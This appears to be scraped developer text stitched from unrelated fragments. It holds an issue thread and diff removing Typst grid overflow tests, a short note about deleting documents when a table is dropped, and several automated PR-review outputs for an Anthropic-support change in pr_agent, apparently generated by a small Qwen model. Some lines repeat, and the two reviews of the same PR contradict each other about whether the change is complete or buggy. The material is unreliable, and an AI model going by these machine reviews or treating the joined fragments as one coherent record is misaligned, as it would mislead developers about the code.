It could be best to simply remove those tests for now - they are important to ensure a proper overflow check, but they will have to be downgraded to manual tests due to this problem.

What would be the best way to remove them for now? A simple rm ./tests/typ/layout/grid-positioning.typ in the build step?

What would be the best way to remove them for now? A simple rm ./tests/typ/layout/grid-positioning.typ in the build step?

You can apply the following patch (I will open a proper PR soon):
diff --git a/tests/typ/layout/grid-positioning.typ b/tests/typ/layout/grid-positioning.typ
index 5461fb1c..228fadf7 100644
--- a/tests/typ/layout/grid-positioning.typ
+++ b/tests/typ/layout/grid-positioning.typ
@@ -203,29 +203,3 @@
   // Robert got grade B on other exams.
   ..(table.cell(y: 4, fill: aqua)[B],) * 2,
 )
-
----
-// Error: 5:3-5:39 cell position too large
-#grid(
-  columns: 3,
-  rows: 2em,
-  fill: (x, y) => if calc.odd(x + y) { red.lighten(50%) } else { green },
-  grid.cell(y:<PHONE_NUMBER>236517206)[a],
-)
-
----
-// Error: 5:3-5:46 cell position too large
-#table(
-  columns: 3,
-  rows: 2em,
-  fill: (x, y) => if calc.odd(x + y) { red.lighten(50%) } else { green },
-  table.cell(x: 2, y:<PHONE_NUMBER>236517206)[a],
-)
-
----
-// Error: 3:3-3:45 cell would span an exceedingly large position
-// Hint: 3:3-3:45 try reducing the cell's rowspan or colspan
-#grid(
-  columns: 500,
-  grid.cell(rowspan:<PHONE_NUMBER>236517206)[a]
-)

I went with rm tests/typ/layout/grid-positioning.typ instead :o)


Migration: when dropping a table, delete all docs in the table

Otherwise you get ghost baselines/ops

On the server too... which will be harder.

Ok so if clients just delete everything they can see... everything will get deleted everywhere. Not so bad.


PR Title for PR-1013

This is a pull request for PR-1013.

Generating PR code suggestions
Work in progress ...

Generating PR code suggestions
Work in progress ...

Preparing review...

PR Reviewer Guide 🔍

⏱ Estimated effort to review: 3 🔵🔵🔵⚪⚪
🏅 Score: 89
🧪 No relevant tests
🔒 No security concerns identified
🔀 Multiple PR themes

Sub-PR theme: Enhancement: Support for Anthropic API and Bug Fix

Relevant files:

pr_agent/algo/ai_handlers/litellm_ai_handler.py
pr_agent/settings/.secrets_template.toml

Sub-PR theme: Error Handling Improvements

Relevant files:

pr_agent/algo/ai_handlers/litellm_ai_handler.py

⚡ Key issues to review
EnhancementThe PR introduces support for Anthropic API, adding new functionality to handle Anthropic's API base settings. This enhancement improves the flexibility of the system by allowing it to interact with different AI providers seamlessly.
Bug FixThe PR fixes the method signature for add_litellm_callbacks by correcting the method name from selfs to self within the retry decorator. This bug fix ensures that the method is correctly referenced and avoids potential runtime errors.
Error HandlingThe PR adds specific error handling for openai.AuthenticationError and ValueError, which improves the robustness of the system by providing clearer error messages and handling these specific errors more gracefully.

Generation Model with RAG True
qwen2.5-1.5b-ins-bf16

Preparing review...

PR Reviewer Guide 🔍

⏱ Estimated effort to review: 3 🔵🔵🔵⚪⚪
🏅 Score: 85
🧪 No relevant tests
🔒 No security concerns identified
🔀 No multiple PR themes

⚡ Key issues to review
Possible BugThe PR introduces changes to the AI handler to support a new API base for Anthropic. However, the new code for Anthropic API base handling is incomplete and lacks handling for API key and possibly other configurations.
Code SmellThe PR introduces unnecessary complexity by adding multiple checks for API base settings. This could be simplified by consolidating these checks into a single conditional statement.
EnhancementThe PR could benefit from adding more specific error handling for openai.APIError and openai.APITimeoutError. Currently, only a general exception is raised.

Generation Model with RAG False
qwen2.5-1.5b-ins-bf16

Generating PR code suggestions
Work in progress ...